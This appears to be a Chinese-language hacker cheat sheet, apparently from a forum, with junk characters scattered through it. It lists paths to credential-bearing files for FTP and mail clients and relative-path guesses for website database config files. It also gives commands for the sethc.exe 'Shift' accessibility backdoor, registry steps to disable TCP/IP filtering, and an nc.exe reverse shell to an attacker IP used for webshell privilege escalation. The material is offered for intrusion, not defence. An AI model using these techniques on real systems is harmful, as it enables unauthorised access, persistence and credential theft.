2 r' }& c; s7 _3 ~. j6 rC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
2 I, {5 @6 i$ j* Q4 kc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
  ~1 j, P  ?' G# D9 d4 wC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
( c: q8 O6 i) pC:\Program Files\tencent\Foxmal\accounts.cfg
, U( H5 t0 u# z2 A3 FC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
$ ^% b4 E+ g" Z) mC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
  |& Z  r( ^. V/ }# Z3 u" DC:\Program Files\StormII\Storm.exe
) ^: q0 G, `# `0 n) I0 ^$ m
! H! s# E. `2 ^  X  z5 c3.网站相对路径:

# q3 D* p0 c: A$ n* C1 I( o/config.php
" z9 L8 [: k% b: |* X../../config.php
$ u$ O7 Y% q' G1 I, m../config.php
../../../config.php
; T7 T( [5 K9 Q. R/config.inc.php
./config.inc.php
4 d8 o0 L; U) [) ?' h( H# F../../config.inc.php
3 @% m. [0 L2 E' k# s1 M. I6 V../config.inc.php
../../../config.inc.php
/conn.php
: p. e( e+ @) l4 e2 t5 }./conn.php
../../conn.php
1 ^; {0 t+ C; g2 E4 a) ]../conn.php
- B( d8 @( Y: g( c5 k& p../../../conn.php
/conn.asp
: G5 g* @) X9 n0 u./conn.asp
../../conn.asp
../conn.asp
. Q% K0 [  f1 z1 [8 Z../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
6 t3 G; L& u" {% }1 O../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
. m. S+ K5 L9 a% q: I% L( V. D../config/config.php
$ M% P" r, a( j" S: V../../../config/config.php
/config/config.inc.php
./config/config.inc.php
" }. q6 w+ [. ]8 g../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
5 l! W/ @# F% l/config/conn.php
9 R4 {3 B% @- O6 m' o./config/conn.php
- A8 f. V/ B* Q+ I: Y$ S9 |: c8 _; ^../../config/conn.php
6 e3 P& n, l" c, E* D4 j1 E../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
8 M3 F, X: L! E7 R. E' a( B../../config/conn.asp
1 G3 c$ w5 q6 G../config/conn.asp
) L" \0 _/ a& V. b9 [../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
% a% [2 L/ g% q4 l, _& G../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
' P6 s- W+ o  u0 i0 s. A../../data/config.php
& c; D# n/ _5 |+ o9 ^1 d. p6 t& P../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
: ^/ J# L! U& h5 H$ B. K4 Y7 x- a../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
1 i& B! P6 b/ y  X! f+ l8 T' Z* R/ O./data/conn.php
../../data/conn.php
../data/conn.php
% _+ k) w; d- W! x, r../../../data/conn.php
* D3 O! G, P7 G! q" e4 x/data/conn.asp
: i6 ^) r5 @  o0 B# _+ Y./data/conn.asp
../../data/conn.asp
2 D- L, q* }0 F) V  U" @../data/conn.asp
- k! a0 e) a% {8 T* y! v../../../data/conn.asp
9 `) d- L* R$ N- Y/data/config.inc.php
./data/config.inc.php
5 E  O3 n7 ]8 J../../data/config.inc.php
) E0 c/ l; g! z! O* H../data/config.inc.php
../../../data/config.inc.php
" k' ?6 b% R) u3 G3 q9 t/include/config.php
  _( Y( r% G+ {2 o/ p../../include/config.php
../include/config.php
../../../include/config.php
) e/ u9 M9 k# j" e/include/config.inc.php
./include/config.inc.php
* D6 y" A/ x9 t../../include/config.inc.php
../include/config.inc.php
# M; _* y" P$ D../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
& |8 W" {; ]5 i  C, X! e' ~7 a../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
( ?& I  a+ G- Y9 X# T7 i3 T' k../../../include/conn.asp
: q6 \; ~& ~- ~% u/ V5 n8 }$ G/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
7 [  @! @0 z- T, ?! p( ^5 N/inc/config.php
../../inc/config.php
3 V: Z& a' B, O* ?../inc/config.php
../../../inc/config.php
5 g/ V$ g) w' Y, h! [" N2 I/inc/config.inc.php
./inc/config.inc.php
" F& V+ U- z* J6 l../../inc/config.inc.php
../inc/config.inc.php
6 Z- w8 e0 k- s$ c3 G* c1 [( U+ s../../../inc/config.inc.php
' b* e  W2 F) J9 @6 s+ m/inc/conn.php
) L* E  {" B4 p. Q./inc/conn.php
../../inc/conn.php
. i2 l4 i! |; x0 d0 h../inc/conn.php
5 V( g$ ]5 V9 m* X../../../inc/conn.php
/inc/conn.asp
6 ^. z2 R. }4 e+ K./inc/conn.asp
../../inc/conn.asp
) J/ `/ n. D, O3 l9 p1 a../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
1 r4 j% f4 Q( ?" O./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
, _7 i3 D9 q: e8 [./index.php
5 m9 `1 g  ]1 s" G$ H+ `5 P9 ?../../index.php
../index.php
../../../index.php
8 C: j- ^  A3 i# e5 A# z/index.asp
./index.asp
6 }( B4 k! i6 y. [8 K- r% K3 p../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
# x) R- s8 c, W% d　attrib c:\windows\system32\sethc.exe -h -r -s

2 W' _4 l! l7 d1 Y* X　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

2 Q& x5 h' [/ K. r/ X, Q　　del c:\windows\system32\sethc.exe

+ n. M/ I% r/ Y- Y　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
( X3 h" A1 P* U0 [7 t: B1 s
　　attrib c:\windows\system32\sethc.exe +h +r +s

3 o5 k  R8 k4 g2 \1 c* t2 L　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
% o+ O: x9 u, R去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
/ A0 A1 k7 I, i! k: qHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; B/ f" Y( S/ C( S9 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 v! W/ U# }2 v) |2 uHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- _1 \" c% _* N& x- ]0 Nregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
2 Q' @2 Y+ ]+ `
( E0 P2 x4 U2 Z4 {再将以上三个文件分别用
! L' ~1 B" w) Rregedit -s D:\a.reg
* a3 q, u6 g* {( s- F$ W6 hregedit -s D:\b.reg
regedit -s D:\c.reg
* A8 F: r& h% ?9 s" z; L导入注册表即可
6 J4 g1 f% Q3 T2 s% P, O
  p2 R. w, G2 s0 p; |8 Nwebshell提权小技巧
cmd路径:
2 I# z, p* I0 x" z2 v4 R7 ec:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
) \3 u0 u) p" b. n( V通常都不会成功。
4 T3 R: [. x! `" A0 T* e9 W; V
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
/ ?8 [' C, s* Q# C* i4 Y0 m这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功